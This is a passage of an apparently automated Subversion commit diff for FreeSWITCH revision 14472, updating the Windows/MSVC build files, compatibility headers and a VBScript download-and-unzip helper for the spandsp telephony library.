+		</Filter>
+	</Files>
+	<Globals>
+	</Globals>
+</VisualStudioProject>

Modified: freeswitch/branches/seven/libs/spandsp/src/msvc/msvcproj.foot (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/src/msvc/msvcproj.foot	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/src/msvc/msvcproj.foot	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,7 +1,7 @@
-
-# Begin Group "Resource Files"
-
-# PROP Default_Filter "ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe"
-# End Group
-# End Target
-# End Project
+
+# Begin Group "Resource Files"
+
+# PROP Default_Filter "ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe"
+# End Group
+# End Target
+# End Project

Modified: freeswitch/branches/seven/libs/spandsp/src/msvc/msvcproj.head (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/src/msvc/msvcproj.head	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/src/msvc/msvcproj.head	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,92 +1,92 @@
-# Microsoft Developer Studio Project File - Name="spandsp" - Package Owner=<4>
-# Microsoft Developer Studio Generated Build File, Format Version 6.00
-# ** DO NOT EDIT **
-
-# TARGTYPE "Win32 (x86) Dynamic-Link Library" 0x0102
-
-CFG=spandsp - Win32 Debug
-!MESSAGE This is not a valid makefile. To build this project using NMAKE,
-!MESSAGE use the Export Makefile command and run
-!MESSAGE 
-!MESSAGE NMAKE /f "spandsp.mak".
-!MESSAGE 
-!MESSAGE You can specify a configuration when running NMAKE
-!MESSAGE by defining the macro CFG on the command line. For example:
-!MESSAGE 
-!MESSAGE NMAKE /f "spandsp.mak" CFG="spandsp - Win32 Debug"
-!MESSAGE 
-!MESSAGE Possible choices for configuration are:
-!MESSAGE 
-!MESSAGE "spandsp - Win32 Release" (based on "Win32 (x86) Dynamic-Link Library")
-!MESSAGE "spandsp - Win32 Debug" (based on "Win32 (x86) Dynamic-Link Library")
-!MESSAGE 
-
-# Begin Project
-# PROP AllowPerConfigDependencies 0
-# PROP Scc_ProjName ""
-# PROP Scc_LocalPath ""
-CPP=cl.exe
-MTL=midl.exe
-RSC=rc.exe
-
-!IF  "$(CFG)" == "spandsp - Win32 Release"
-
-# PROP BASE Use_MFC 0
-# PROP BASE Use_Debug_Libraries 0
-# PROP BASE Output_Dir "Release"
-# PROP BASE Intermediate_Dir "Release"
-# PROP BASE Target_Dir ""
-# PROP Use_MFC 0
-# PROP Use_Debug_Libraries 0
-# PROP Output_Dir "Release"
-# PROP Intermediate_Dir "Release"
-# PROP Ignore_Export_Lib 0
-# PROP Target_Dir ""
-# ADD BASE CPP /nologo /MT /W3 /GX /O2 /D "WIN32" /D "NDEBUG" /D "_WINDOWS" /D "_MBCS" /D "_USRDLL" /D HAVE_TGMATH_H /YX /FD /c
-# ADD CPP /nologo /MT /W3 /GX /Zi /O2 /I "." /I "..\include" /D "WIN32" /D "NDEBUG" /D "_WINDOWS" /D "_MBCS" /D "_USRDLL" /D HAVE_TGMATH_H /D "_WINDLL" /FR /FD /c
-# SUBTRACT CPP /YX
-# ADD BASE MTL /nologo /D "NDEBUG" /mktyplib203 /win32
-# ADD MTL /nologo /D "NDEBUG" /mktyplib203 /win32
-# ADD BASE RSC /l 0x409 /d "NDEBUG"
-# ADD RSC /l 0x409 /d "NDEBUG"
-BSC32=bscmake.exe
-# ADD BASE BSC32 /nologo
-# ADD BSC32 /nologo
-LINK32=link.exe
-# ADD BASE LINK32 kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /dll /machine:I386
-# ADD LINK32 kernel32.lib ws2_32.lib winmm.lib /nologo /dll /map /debug /machine:I386 /out:"Release/libspandsp.dll"
-
-!ELSEIF  "$(CFG)" == "spandsp - Win32 Debug"
-
-# PROP BASE Use_MFC 0
-# PROP BASE Use_Debug_Libraries 1
-# PROP BASE Output_Dir "Debug"
-# PROP BASE Intermediate_Dir "Debug"
-# PROP BASE Target_Dir ""
-# PROP Use_MFC 0
-# PROP Use_Debug_Libraries 1
-# PROP Output_Dir "Debug"
-# PROP Intermediate_Dir "Debug"
-# PROP Ignore_Export_Lib 0
-# PROP Target_Dir ""
-# ADD BASE CPP /nologo /MTd /W3 /Gm /GX /ZI /Od /D "WIN32" /D "_DEBUG" /D "_WINDOWS" /D "_MBCS" /D "_USRDLL" /D HAVE_TGMATH_H /YX /FD /GZ /c
-# ADD CPP /nologo /MTd /W3 /Gm /GX /Zi /Od /I "." /I "..\include" /D "WIN32" /D "_DEBUG" /D "_WINDOWS" /D "_MBCS" /D "_USRDLL" /D HAVE_TGMATH_H /FR /FD /GZ /c
-# SUBTRACT CPP /WX /YX
-# ADD BASE MTL /nologo /D "_DEBUG" /mktyplib203 /win32
-# ADD MTL /nologo /D "_DEBUG" /mktyplib203 /win32
-# ADD BASE RSC /l 0x409 /d "_DEBUG"
-# ADD RSC /l 0x409 /d "_DEBUG"
-BSC32=bscmake.exe
-# ADD BASE BSC32 /nologo
-# ADD BSC32 /nologo
-LINK32=link.exe
-# ADD BASE LINK32 kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /dll /debug /machine:I386 /pdbtype:sept
-# ADD LINK32 kernel32.lib ws2_32.lib winmm.lib /nologo /dll /incremental:no /map /debug /machine:I386 /out:"Debug/libspandsp.dll" /pdbtype:sept
-# SUBTRACT LINK32 /nodefaultlib
-
-!ENDIF 
-
-# Begin Target
-
-# Name "spandsp - Win32 Release"
-# Name "spandsp - Win32 Debug"
+# Microsoft Developer Studio Project File - Name="spandsp" - Package Owner=<4>
+# Microsoft Developer Studio Generated Build File, Format Version 6.00
+# ** DO NOT EDIT **
+
+# TARGTYPE "Win32 (x86) Dynamic-Link Library" 0x0102
+
+CFG=spandsp - Win32 Debug
+!MESSAGE This is not a valid makefile. To build this project using NMAKE,
+!MESSAGE use the Export Makefile command and run
+!MESSAGE 
+!MESSAGE NMAKE /f "spandsp.mak".
+!MESSAGE 
+!MESSAGE You can specify a configuration when running NMAKE
+!MESSAGE by defining the macro CFG on the command line. For example:
+!MESSAGE 
+!MESSAGE NMAKE /f "spandsp.mak" CFG="spandsp - Win32 Debug"
+!MESSAGE 
+!MESSAGE Possible choices for configuration are:
+!MESSAGE 
+!MESSAGE "spandsp - Win32 Release" (based on "Win32 (x86) Dynamic-Link Library")
+!MESSAGE "spandsp - Win32 Debug" (based on "Win32 (x86) Dynamic-Link Library")
+!MESSAGE 
+
+# Begin Project
+# PROP AllowPerConfigDependencies 0
+# PROP Scc_ProjName ""
+# PROP Scc_LocalPath ""
+CPP=cl.exe
+MTL=midl.exe
+RSC=rc.exe
+
+!IF  "$(CFG)" == "spandsp - Win32 Release"
+
+# PROP BASE Use_MFC 0
+# PROP BASE Use_Debug_Libraries 0
+# PROP BASE Output_Dir "Release"
+# PROP BASE Intermediate_Dir "Release"
+# PROP BASE Target_Dir ""
+# PROP Use_MFC 0
+# PROP Use_Debug_Libraries 0
+# PROP Output_Dir "Release"
+# PROP Intermediate_Dir "Release"
+# PROP Ignore_Export_Lib 0
+# PROP Target_Dir ""
+# ADD BASE CPP /nologo /MT /W3 /GX /O2 /D "WIN32" /D "NDEBUG" /D "_WINDOWS" /D "_MBCS" /D "_USRDLL" /D HAVE_TGMATH_H /YX /FD /c
+# ADD CPP /nologo /MT /W3 /GX /Zi /O2 /I "." /I "..\include" /D "WIN32" /D "NDEBUG" /D "_WINDOWS" /D "_MBCS" /D "_USRDLL" /D HAVE_TGMATH_H /D "_WINDLL" /FR /FD /c
+# SUBTRACT CPP /YX
+# ADD BASE MTL /nologo /D "NDEBUG" /mktyplib203 /win32
+# ADD MTL /nologo /D "NDEBUG" /mktyplib203 /win32
+# ADD BASE RSC /l 0x409 /d "NDEBUG"
+# ADD RSC /l 0x409 /d "NDEBUG"
+BSC32=bscmake.exe
+# ADD BASE BSC32 /nologo
+# ADD BSC32 /nologo
+LINK32=link.exe
+# ADD BASE LINK32 kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /dll /machine:I386
+# ADD LINK32 kernel32.lib ws2_32.lib winmm.lib /nologo /dll /map /debug /machine:I386 /out:"Release/libspandsp.dll"
+
+!ELSEIF  "$(CFG)" == "spandsp - Win32 Debug"
+
+# PROP BASE Use_MFC 0
+# PROP BASE Use_Debug_Libraries 1
+# PROP BASE Output_Dir "Debug"
+# PROP BASE Intermediate_Dir "Debug"
+# PROP BASE Target_Dir ""
+# PROP Use_MFC 0
+# PROP Use_Debug_Libraries 1
+# PROP Output_Dir "Debug"
+# PROP Intermediate_Dir "Debug"
+# PROP Ignore_Export_Lib 0
+# PROP Target_Dir ""
+# ADD BASE CPP /nologo /MTd /W3 /Gm /GX /ZI /Od /D "WIN32" /D "_DEBUG" /D "_WINDOWS" /D "_MBCS" /D "_USRDLL" /D HAVE_TGMATH_H /YX /FD /GZ /c
+# ADD CPP /nologo /MTd /W3 /Gm /GX /Zi /Od /I "." /I "..\include" /D "WIN32" /D "_DEBUG" /D "_WINDOWS" /D "_MBCS" /D "_USRDLL" /D HAVE_TGMATH_H /FR /FD /GZ /c
+# SUBTRACT CPP /WX /YX
+# ADD BASE MTL /nologo /D "_DEBUG" /mktyplib203 /win32
+# ADD MTL /nologo /D "_DEBUG" /mktyplib203 /win32
+# ADD BASE RSC /l 0x409 /d "_DEBUG"
+# ADD RSC /l 0x409 /d "_DEBUG"
+BSC32=bscmake.exe
+# ADD BASE BSC32 /nologo
+# ADD BSC32 /nologo
+LINK32=link.exe
+# ADD BASE LINK32 kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /dll /debug /machine:I386 /pdbtype:sept
+# ADD LINK32 kernel32.lib ws2_32.lib winmm.lib /nologo /dll /incremental:no /map /debug /machine:I386 /out:"Debug/libspandsp.dll" /pdbtype:sept
+# SUBTRACT LINK32 /nodefaultlib
+
+!ENDIF 
+
+# Begin Target
+
+# Name "spandsp - Win32 Release"
+# Name "spandsp - Win32 Debug"

Deleted: freeswitch/branches/seven/libs/spandsp/src/msvc/spandsp.def

Copied: freeswitch/branches/seven/libs/spandsp/src/msvc/spandsp.h (from rev 14471, freeswitch/trunk/libs/spandsp/src/msvc/spandsp.h) (0 => 14472)


--- freeswitch/branches/seven/libs/spandsp/src/msvc/spandsp.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/spandsp/src/msvc/spandsp.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,130 @@
+/*
+ * SpanDSP - a series of DSP components for telephony
+ *
+ * spandsp.h - The head guy amongst the headers
+ *
+ * Written by Steve Underwood <steveu@coppice.org>
+ *
+ * Copyright (C) 2003 Steve Underwood
+ *
+ * All rights reserved.
+ *
+ * This program is free software; you can redistribute it and/or modify
+ * it under the terms of the GNU Lesser General Public License version 2.1,
+ * as published by the Free Software Foundation.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU Lesser General Public License for more details.
+ *
+ * You should have received a copy of the GNU Lesser General Public
+ * License along with this program; if not, write to the Free Software
+ * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
+ *
+ * $Id: spandsp.h.in,v 1.18 2009/04/02 13:43:49 steveu Exp $
+ */
+
+/*! \file */
+
+#if !defined(_SPANDSP_H_)
+#define _SPANDSP_H_
+
+#define __inline__ __inline
+#pragma warning(disable:4200)
+
+#undef SPANDSP_USE_FIXED_POINT
+#undef SPANDSP_MISALIGNED_ACCESS_FAILS
+
+#define SPANDSP_USE_EXPORT_CAPABILITY 1
+
+#include <stdlib.h>
+#include <msvc/inttypes.h>
+#include <string.h>
+#include <limits.h>
+#include <time.h>
+#include <math.h>
+#include <tiffio.h>
+
+#include <spandsp/telephony.h>
+#include <spandsp/fast_convert.h>
+#include <spandsp/logging.h>
+#include <spandsp/complex.h>
+#include <spandsp/bit_operations.h>
+#include <spandsp/bitstream.h>
+#include <spandsp/queue.h>
+#include <spandsp/schedule.h>
+#include <spandsp/g711.h>
+#include <spandsp/timing.h>
+#include <spandsp/vector_float.h>
+#include <spandsp/complex_vector_float.h>
+#include <spandsp/vector_int.h>
+#include <spandsp/complex_vector_int.h>
+#include <spandsp/arctan2.h>
+#include <spandsp/biquad.h>
+#include <spandsp/fir.h>
+#include <spandsp/awgn.h>
+#include <spandsp/bert.h>
+#include <spandsp/power_meter.h>
+#include <spandsp/complex_filters.h>
+#include <spandsp/dc_restore.h>
+#include <spandsp/dds.h>
+#include <spandsp/echo.h>
+#include <spandsp/modem_echo.h>
+#include <spandsp/crc.h>
+#include <spandsp/async.h>
+#include <spandsp/hdlc.h>
+#include <spandsp/noise.h>
+#include <spandsp/saturated.h>
+#include <spandsp/time_scale.h>
+#include <spandsp/tone_detect.h>
+#include <spandsp/tone_generate.h>
+#include <spandsp/super_tone_rx.h>
+#include <spandsp/super_tone_tx.h>
+#include <spandsp/dtmf.h>
+#include <spandsp/bell_r2_mf.h>
+#include <spandsp/sig_tone.h>
+#include <spandsp/fsk.h>
+#include <spandsp/modem_connect_tones.h>
+#include <spandsp/silence_gen.h>
+#include <spandsp/v29rx.h>
+#include <spandsp/v29tx.h>
+#include <spandsp/v17rx.h>
+#include <spandsp/v17tx.h>
+#include <spandsp/v22bis.h>
+#include <spandsp/v27ter_rx.h>
+#include <spandsp/v27ter_tx.h>
+#include <spandsp/v8.h>
+#include <spandsp/v18.h>
+#include <spandsp/v42.h>
+#include <spandsp/v42bis.h>
+#include <spandsp/t4.h>
+#include <spandsp/t30.h>
+#include <spandsp/t30_api.h>
+#include <spandsp/t30_fcf.h>
+#include <spandsp/t30_logging.h>
+#include <spandsp/t35.h>
+#include <spandsp/at_interpreter.h>
+#include <spandsp/fax_modems.h>
+#include <spandsp/fax.h>
+#include <spandsp/t38_core.h>
+#include <spandsp/t38_non_ecm_buffer.h>
+#include <spandsp/t38_gateway.h>
+#include <spandsp/t38_terminal.h>
+#include <spandsp/t31.h>
+#include <spandsp/adsi.h>
+#include <spandsp/oki_adpcm.h>
+#include <spandsp/ima_adpcm.h>
+#include <spandsp/g722.h>
+#include <spandsp/g726.h>
+#include <spandsp/lpc10.h>
+#include <spandsp/gsm0610.h>
+#include <spandsp/plc.h>
+#include <spandsp/playout.h>
+
+#endif
+
+#if defined(SPANDSP_EXPOSE_INTERNAL_STRUCTURES)
+#include <spandsp/expose.h>
+#endif
+/*- End of file ------------------------------------------------------------*/

Modified: freeswitch/branches/seven/libs/spandsp/src/msvc/sys/time.h (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/src/msvc/sys/time.h	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/src/msvc/sys/time.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1 +1,21 @@
+/*
+ * SpanDSP - a series of DSP components for telephony
+ *
+ * sys/time.h - a fudge for MSVC, which lacks this header
+ *
+ * Written by Steve Underwood <steveu@coppice.org>
+ *
+ * Copyright (C) 2006 Michael Jerris
+ *
+ *
+ * This file is released in the public domain.
+ *
+ */
+
+struct timeval
+{
+    long int tv_sec;
+    long int tv_usec;
+};
+
 extern void gettimeofday(struct timeval *tv, void *tz);

Copied: freeswitch/branches/seven/libs/spandsp/src/msvc/tiff (from rev 14471, freeswitch/trunk/libs/spandsp/src/msvc/tiff)

Deleted: freeswitch/branches/seven/libs/spandsp/src/msvc/tiff/cleancount

Copied: freeswitch/branches/seven/libs/spandsp/src/msvc/tiff/cleancount (from rev 14471, freeswitch/trunk/libs/spandsp/src/msvc/tiff/cleancount) (0 => 14472)


--- freeswitch/branches/seven/libs/spandsp/src/msvc/tiff/cleancount	                        (rev 0)
+++ freeswitch/branches/seven/libs/spandsp/src/msvc/tiff/cleancount	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1 @@
+1
\ No newline at end of file

Modified: freeswitch/branches/seven/libs/spandsp/src/msvc/unistd.h (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/src/msvc/unistd.h	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/src/msvc/unistd.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,7 +1,7 @@
 /*
  * SpanDSP - a series of DSP components for telephony
  *
- * inttypes.h - a fudge for MSVC, which lacks this header
+ * unistd.h - a fudge for MSVC, which lacks this header
  *
  * Written by Steve Underwood <steveu@coppice.org>
  *
@@ -12,18 +12,21 @@
  *
  */
 
-#if !defined(_INTTYPES_H_)
-#define _INTTYPES_H_
+#if !defined(_UNISTD_H_)
+#define _UNISTD_H_
 
 #ifdef __cplusplus
 extern "C" {
 #endif
 
-#define open _open
-#define write _write
+// Declare this so we don't have to include winsock.h, it causes numerous conflicts.
+extern int __stdcall gethostname(char * name, int namelen);
+#pragma comment(lib, "ws2_32.lib")
 
-extern int gethostname (char *name, size_t len);
+extern int getopt(int argc, char *argv[], char *opstring);
 
+extern char *optarg;
+
 #ifdef __cplusplus
 }
 #endif

Copied: freeswitch/branches/seven/libs/spandsp/src/msvc/util.vbs (from rev 14471, freeswitch/trunk/libs/spandsp/src/msvc/util.vbs) (0 => 14472)


--- freeswitch/branches/seven/libs/spandsp/src/msvc/util.vbs	                        (rev 0)
+++ freeswitch/branches/seven/libs/spandsp/src/msvc/util.vbs	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,199 @@
+'
+' Contributor(s):
+' Michael Jerris <mike@jerris.com>
+' David A. Horner http://dave.thehorners.com
+'----------------------------------------------
+
+'On Error Resume Next
+' **************
+' Initialization
+' **************
+
+Set WshShell = CreateObject("WScript.Shell")
+Set FSO = CreateObject("Scripting.FileSystemObject")
+Set WshSysEnv = WshShell.Environment("SYSTEM")
+Set xml = CreateObject("Microsoft.XMLHTTP")
+Dim UseWgetEXE
+
+On Error Resume Next
+Set oStream = CreateObject("Adodb.Stream")
+On Error Goto 0
+
+If Not IsObject(oStream)  Then
+	wscript.echo("Failed to create Adodb.Stream, using alternative download method.")
+	UseWgetEXE=true
+Else
+	UseWgetEXE=false
+End If
+Randomize
+Set objArgs = WScript.Arguments
+quote=Chr(34)
+ScriptDir=Left(WScript.ScriptFullName,Len(WScript.ScriptFullName)-Len(WScript.ScriptName))
+UtilsDir=Showpath(ScriptDir)
+ToolsBase="http://files.freeswitch.org/downloads/win32/"
+
+If UseWgetEXE Then
+	GetWgetEXE UtilsDir
+End If
+
+GetCompressionTools UtilsDir
+
+
+If objArgs.Count >=3 Then
+	Select Case objArgs(0)
+		Case "Get"		
+			Wget objArgs(1), Showpath(objArgs(2))
+		Case "GetUnzip"		
+			WgetUnCompress objArgs(1), Showpath(objArgs(2))
+	End Select
+End If
+
+
+' *******************
+' Utility Subroutines
+' *******************
+
+
+Sub WgetUnCompress(URL, DestFolder)
+	If Right(DestFolder, 1) <> "\" Then DestFolder = DestFolder & "\" End If
+	StartPos = InstrRev(URL, "/", -1, 1) 
+	strlength = Len(URL)
+	filename=Right(URL,strlength-StartPos)
+	NameEnd = InstrRev(filename, ".",-1, 1)
+	filestrlength = Len(filename)
+	filebase = Left(filename,NameEnd)
+	fileext = Right(filename, Len(filename) - NameEnd)
+	Wget URL, DestFolder
+	If fileext = "zip" Then
+		UnCompress Destfolder & filename, DestFolder & filebase
+	Else
+		UnCompress Destfolder & filename, DestFolder	
+	End If
+End Sub
+
+Sub GetCompressionTools(DestFolder)
+	Dim oExec
+	If Right(DestFolder, 1) <> "\" Then DestFolder = DestFolder & "\" End If
+	If Not FSO.FileExists(DestFolder & "7za.exe") Then 
+		If Not FSO.FileExists(DestFolder & "7za.tag") Then 
+			Set MyFile = fso.CreateTextFile(DestFolder & "7za.tag", True)
+			MyFile.WriteLine("This file marks a pending download for 7za.exe so we don't download it twice at the same time")
+			MyFile.Close
+				
+				Wget ToolsBase & "7za.exe", DestFolder
+			
+			FSO.DeleteFile DestFolder & "7za.tag" ,true 
+		Else
+			WScript.Sleep(5000)
+		End If	
+	End If	
+End Sub
+
+Sub GetWgetEXE(DestFolder)
+	Dim oExec
+	If Right(DestFolder, 1) <> "\" Then DestFolder = DestFolder & "\" End If
+	If Not FSO.FileExists(DestFolder & "wget.exe") Then 
+		Slow_Wget ToolsBase & "wget.exe", DestFolder
+	End If	
+End Sub
+
+Sub UnCompress(Archive, DestFolder)
+	batname = "tmp" & CStr(Int(10000*Rnd)) & ".bat"
+	wscript.echo("Extracting: " & Archive)
+	Set MyFile = fso.CreateTextFile(UtilsDir & batname, True)
+	MyFile.WriteLine("@" & quote & UtilsDir & "7za.exe" & quote & " x " & quote & Archive & quote & " -y -o" & quote & DestFolder & quote )
+	MyFile.Close
+	Set oExec = WshShell.Exec(UtilsDir & batname)
+	Do
+		WScript.Echo OExec.StdOut.ReadLine()
+	Loop While Not OExec.StdOut.atEndOfStream
+	If FSO.FileExists(Left(Archive, Len(Archive)-3))Then  
+		Set MyFile = fso.CreateTextFile(UtilsDir & batname, True)
+		MyFile.WriteLine("@" & quote & UtilsDir & "7za.exe" & quote & " x " & quote & Left(Archive, Len(Archive)-3) & quote & " -y -o" & quote & DestFolder & quote )
+		MyFile.Close
+		Set oExec = WshShell.Exec(UtilsDir & batname)
+		Do
+			WScript.Echo OExec.StdOut.ReadLine()
+		Loop While Not OExec.StdOut.atEndOfStream
+		WScript.Sleep(500)
+		FSO.DeleteFile Left(Archive, Len(Archive)-3) ,true 
+	End If
+	If FSO.FileExists(Left(Archive, Len(Archive)-3) & "tar")Then  
+		Set MyFile = fso.CreateTextFile(UtilsDir & batname, True)
+		MyFile.WriteLine("@" & quote & UtilsDir & "7za.exe" & quote & " x " & quote & Left(Archive, Len(Archive)-3) & "tar" & quote & " -y -o" & quote & DestFolder & quote )
+		MyFile.Close
+		Set oExec = WshShell.Exec(UtilsDir & batname)
+		Do
+			WScript.Echo OExec.StdOut.ReadLine()
+		Loop While Not OExec.StdOut.atEndOfStream
+		WScript.Sleep(500)
+		FSO.DeleteFile Left(Archive, Len(Archive)-3) & "tar",true 
+	End If
+	
+	WScript.Sleep(500)
+	If FSO.FileExists(UtilsDir & batname)Then  
+		FSO.DeleteFile UtilsDir & batname, True
+	End If
+End Sub
+
+Sub Wget(URL, DestFolder)
+	StartPos = InstrRev(URL, "/", -1, 1)   
+	strlength = Len(URL)
+	filename=Right(URL,strlength-StartPos)
+	If Right(DestFolder, 1) <> "\" Then DestFolder = DestFolder & "\" End If
+
+	Wscript.echo("Downloading: " & URL)
+	
+If UseWgetEXE Then
+	batname = "tmp" & CStr(Int(10000*Rnd)) & ".bat"
+	Set MyFile = fso.CreateTextFile(UtilsDir & batname, True)
+	MyFile.WriteLine("@cd " & quote & DestFolder & quote)
+	MyFile.WriteLine("@" & quote & UtilsDir & "wget.exe" & quote & " " & URL)
+	MyFile.Close
+	Set oExec = WshShell.Exec(UtilsDir & batname)
+	Do
+		WScript.Echo OExec.StdOut.ReadLine()
+	Loop While Not OExec.StdOut.atEndOfStream
+
+Else
+	xml.Open "GET", URL, False
+	xml.Send
+	
+	Const adTypeBinary = 1
+	Const adSaveCreateOverWrite = 2
+	Const adSaveCreateNotExist = 1 
+
+	oStream.type = adTypeBinary
+	oStream.open
+	oStream.write xml.responseBody
+	oStream.savetofile DestFolder & filename, adSaveCreateOverWrite
+	oStream.close
+End If
+
+End Sub
+
+Sub Slow_Wget(URL, DestFolder)
+	StartPos = InstrRev(URL, "/", -1, 1)   
+	strlength = Len(URL)
+	filename=Right(URL,strlength-StartPos)
+	If Right(DestFolder, 1) <> "\" Then DestFolder = DestFolder & "\" End If
+
+	Wscript.echo("Downloading: " & URL)
+	xml.Open "GET", URL, False
+	xml.Send
+	
+	const ForReading = 1 , ForWriting = 2 , ForAppending = 8 
+	Set MyFile = fso.OpenTextFile(DestFolder & filename ,ForWriting, True)
+	For i = 1 to lenb(xml.responseBody)
+	 MyFile.write Chr(Ascb(midb(xml.responseBody,i,1)))
+	Next
+	MyFile.Close()
+
+End Sub
+
+Function Showpath(folderspec)
+	Set f = FSO.GetFolder(folderspec)
+	showpath = f.path & "\"
+End Function
+
+

Modified: freeswitch/branches/seven/libs/spandsp/src/msvc/vc8proj.foot (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/src/msvc/vc8proj.foot	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/src/msvc/vc8proj.foot	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,15 +1,29 @@
-		</Filter>
-		<Filter
-			Name="Resource Files"
-			Filter="rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav"
-			UniqueIdentifier="{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}"
-			>
-		</Filter>
-		<File
-			RelativePath=".\src\msvc\spandsp.def"
-			>
-		</File>
-	</Files>
-	<Globals>
-	</Globals>
-</VisualStudioProject>
+		</Filter>
+		<File
+			RelativePath=".\msvc\spandsp.h"
+			>
+			<FileConfiguration
+				Name="Debug|Win32"
+				>
+				<Tool
+					Name="VCCustomBuildTool"
+					Description="Copying $(InputPath) to $(ProjectDir)$(InputFileName)"
+					CommandLine="copy &quot;$(InputPath)&quot; &quot;$(ProjectDir)$(InputFileName)&quot;"
+					Outputs="$(ProjectDir)$(InputFileName)"
+				/>
+			</FileConfiguration>
+			<FileConfiguration
+				Name="Release|Win32"
+				>
+				<Tool
+					Name="VCCustomBuildTool"
+					Description="Copying $(InputPath) to $(ProjectDir)$(InputFileName)"
+					CommandLine="copy &quot;$(InputPath)&quot; &quot;$(ProjectDir)$(InputFileName)&quot;"
+					Outputs="$(ProjectDir)$(InputFileName)"
+				/>
+			</FileConfiguration>
+		</File>
+	</Files>
+	<Globals>
+	</Globals>
+</VisualStudioProject>

Modified: freeswitch/branches/seven/libs/spandsp/src/msvc/vc8proj.head (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/src/msvc/vc8proj.head	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/src/msvc/vc8proj.head	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,180 +1,94 @@
-<?xml version="1.0" encoding="Windows-1252"?>
-<VisualStudioProject
-	ProjectType="Visual C"
-	Version="9.00"
-	Name="libspandsp"
-	ProjectGUID="{CF70F278-3364-4395-A2E1-23501C9B8AD2}"
-	RootNamespace="libspandsp"
-	Keyword="Win32Proj"
-	TargetFrameworkVersion="131072"
-	>
-	<Platforms>
-		<Platform
-			Name="Win32"
-		/>
-	</Platforms>
-	<ToolFiles>
-	</ToolFiles>
-	<Configurations>
-		<Configuration
-			Name="Debug|Win32"
-			OutputDirectory="$(SolutionDir)$(ConfigurationName)"
-			IntermediateDirectory="$(ConfigurationName)"
-			ConfigurationType="2"
-			CharacterSet="1"
-			>
-			<Tool
-				Name="VCPreBuildEventTool"
-			/>
-			<Tool
-				Name="VCCustomBuildTool"
-			/>
-			<Tool
-				Name="VCXMLDataGeneratorTool"
-			/>
-			<Tool
-				Name="VCWebServiceProxyGeneratorTool"
-			/>
-			<Tool
-				Name="VCMIDLTool"
-			/>
-			<Tool
-				Name="VCCLCompilerTool"
-				Optimization="0"
-				AdditionalIncludeDirectories="src; src\spandsp; src\msvc;..\libtiff\include"
-				PreprocessorDefinitions="WIN32;_DEBUG;_WINDOWS;_USRDLL;LIBSPANDSP_EXPORTS;_CRT_SECURE_NO_DEPRECATE;_CRT_NONSTDC_NO_DEPRECATE;HAVE_MATH_H;HAVE_TGMATH_H"
-				MinimalRebuild="true"
-				BasicRuntimeChecks="3"
-				RuntimeLibrary="3"
-				UsePrecompiledHeader="0"
-				WarningLevel="4"
-				Detect64BitPortabilityProblems="true"
-				DebugInformationFormat="4"
-				CompileAs="1"
-			/>
-			<Tool
-				Name="VCManagedResourceCompilerTool"
-			/>
-			<Tool
-				Name="VCResourceCompilerTool"
-			/>
-			<Tool
-				Name="VCPreLinkEventTool"
-			/>
-			<Tool
-				Name="VCLinkerTool"
-				LinkIncremental="2"
-				ModuleDefinitionFile="src/msvc/spandsp.def"
-				GenerateDebugInformation="true"
-				SubSystem="2"
-				RandomizedBaseAddress="1"
-				DataExecutionPrevention="0"
-				TargetMachine="1"
-			/>
-			<Tool
-				Name="VCALinkTool"
-			/>
-			<Tool
-				Name="VCManifestTool"
-			/>
-			<Tool
-				Name="VCXDCMakeTool"
-			/>
-			<Tool
-				Name="VCBscMakeTool"
-			/>
-			<Tool
-				Name="VCFxCopTool"
-			/>
-			<Tool
-				Name="VCAppVerifierTool"
-			/>
-			<Tool
-				Name="VCPostBuildEventTool"
-			/>
-		</Configuration>
-		<Configuration
-			Name="Release|Win32"
-			OutputDirectory="$(SolutionDir)$(ConfigurationName)"
-			IntermediateDirectory="$(ConfigurationName)"
-			ConfigurationType="2"
-			CharacterSet="1"
-			WholeProgramOptimization="1"
-			>
-			<Tool
-				Name="VCPreBuildEventTool"
-			/>
-			<Tool
-				Name="VCCustomBuildTool"
-			/>
-			<Tool
-				Name="VCXMLDataGeneratorTool"
